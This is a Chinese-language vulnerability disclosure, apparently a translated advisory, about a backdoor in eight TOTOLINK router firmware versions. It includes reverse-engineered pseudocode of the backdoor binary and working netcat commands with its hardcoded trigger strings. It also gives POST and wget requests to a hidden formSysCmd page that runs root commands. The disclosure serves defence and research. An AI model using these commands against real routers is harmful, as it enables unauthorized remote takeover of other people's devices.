占據韓國80%市場的TOTOLINK路由器被曝存后門
TOTOLINK路由器在韓國市場占有率達82.3%。由深圳眾唐科技公司負責產品的研發、制造。
漏洞簡述
通過分析最近一次的固件以及在真實路由器上進行測試后,研究人員發現8款TOTOLink產品中存在后門。
注:固件來自totolink.net以及totolink.cn
A850R-V1 : 最新固件 TOTOLINK-A850R-V1.0.1-B20150707.1612.web
F1-V2 : 最新固件 F1-V2.1.1-B20150708.1646.web
F2-V1 : 最新固件 F2-V2.1.0-B20150320.1611.web
N150RT-V2 : 最新固件 TOTOLINK-N150RT-V2.1.1-B20150708.1548.web
N151RT-V2 : 最新固件 TOTOLINK-N151RT-V2.1.1-B20150708.1559.web
N300RH-V2 : 最新固件 TOTOLINK-N300RH-V2.0.1-B20150708.1625.web
N300RH-V3 : 最新固件 TOTOLINK-N300RH-V3.0.0-B20150331.0858.web
N300RT-V2 : 最新固件 TOTOLINK-N300RT-V2.1.1-B20150708.1613.web
通過向WAN IP發送一個精心構造的請求,攻擊者可以在網上打開HTTP遠程管理界面。接著攻擊者在HTTP原創管理界面中通過hidden/boafrm/formSysCmd形式使用遠程代碼執行,進而繞過認證系統。
初步估計大約有5萬路由器受到后門影響。
后門細節
當路由器啟動后會int.d腳本會執行/bin/skt文件
cat etc/init.d/rcS [...] # start web server boa skt&
skt是一個MIPS架構文件,其參數:
server: ./skt client: ./skt host cmd
使用模擬器,該二進制文件可以兼容 x86_64機器: sudo chroot . ./qemu-mips-static ./bin/skt
單獨使用skt不帶任何參數,將會啟用一個端口為5555的TCP保護程序,擔當回顯服務器的角色。使用帶參數的skt將通過5555端口向目標IP發送一個包含命令的TCP包。
skt的主要功能:
TcpClient是一個簡單的TCP客戶端
TcpServer就像一個回顯服務器
TcpClient:將發送一個包含hel,xasf, oki,xasf 或者 bye,xasf的TCP包,這取決于使用的參數(1,2,3)
TcpServer:用來監聽tcp/5555的回顯服務器并比較用戶提供的硬編碼字符串("hel,xasf", "oki,xasf").
sub_400B50函數:
sub_400B50函數的偽代碼:
int32_t sub_400B50(int32_t a1, char *str, int32_t a3, int32_t a4, int32_t a5) { if (strcmp(str, "hel,xasf") == 0) { system("iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } else { if (strcmp(str, "oki,xasf") == 0) { system("iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT"); } } [...] }
該函數比較用戶指定的字符串,2個硬編碼字符串執行system()。
分析運行在TOTOLINK設備上的二進制文件,顯示服務器通過靜默執行system()響應命令
1.通過將 "hel,xasf"發送給設備,設備將執行:
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
這將在eth1接口(默認的WAN接口)80端口打開HTTP遠程管理界面
2.通過將"oki,xasf"發送給設備,設備將執行:
iptables -D INPUT -p tcp –dport 80 -i eth1 -j ACCEPT
這是關閉HTTP原創管理界面
3.通過發送"bye,xasf"給設備,設備什么都不會做。
后門中的iptables命令都是"eth1"的硬編碼,只有使用DHCP以及靜態IP連接的設備才會受到影響,因為WAN IP依賴于eth1設備,而對于PPPoE連接沒有任何影響
totolink# ifconfig ppp0 Link encap:Point-to-Point Protocol inet addr:X.X.X.X P-t-P:X.X.X.X Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1438 Metric:1 RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0 TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:64 RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB)
攻擊者可以使用簡單的netcat命令來測試后門:
1.打開HTTP遠程管理界面
echo -ne "hel,xasf" | nc <ip> 5555
2.關閉HTTP遠程管理界面
echo -ne "oki,xasf" | nc <ip> 5555
3.檢測含漏洞路由器
echo -ne "GET / HTTP/1.1" | nc <ip> 5555 if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router.
通過后門打開HTTP遠程管理界面:
路由器管理頁面中的遠程命令執行漏洞
在最新固件中一個隱藏窗口允許攻擊者以root權限執行命令:
POST /boafrm/formSysCmd HTTP/1.1 sysCmd=<cmd>&apply=Apply&msg=
攻擊者可以使用wget在遠程設備中執行命令:
wget --post-data='sysCmd=<cmd>&apply=Apply&msg=' http://ip//boafrm/formSysCmd
例如,向管理界面發送該HTTP請求,可以遠程重啟設備:
POST /boafrm/formSysCmd HTTP/1.1 sysCmd=reboot&apply=Apply&msg=
下面的wget命令和上面的命令類似:
wget --post-data='sysCmd=reboot&apply=Apply&msg=' http://ip//boafrm/formSysCmd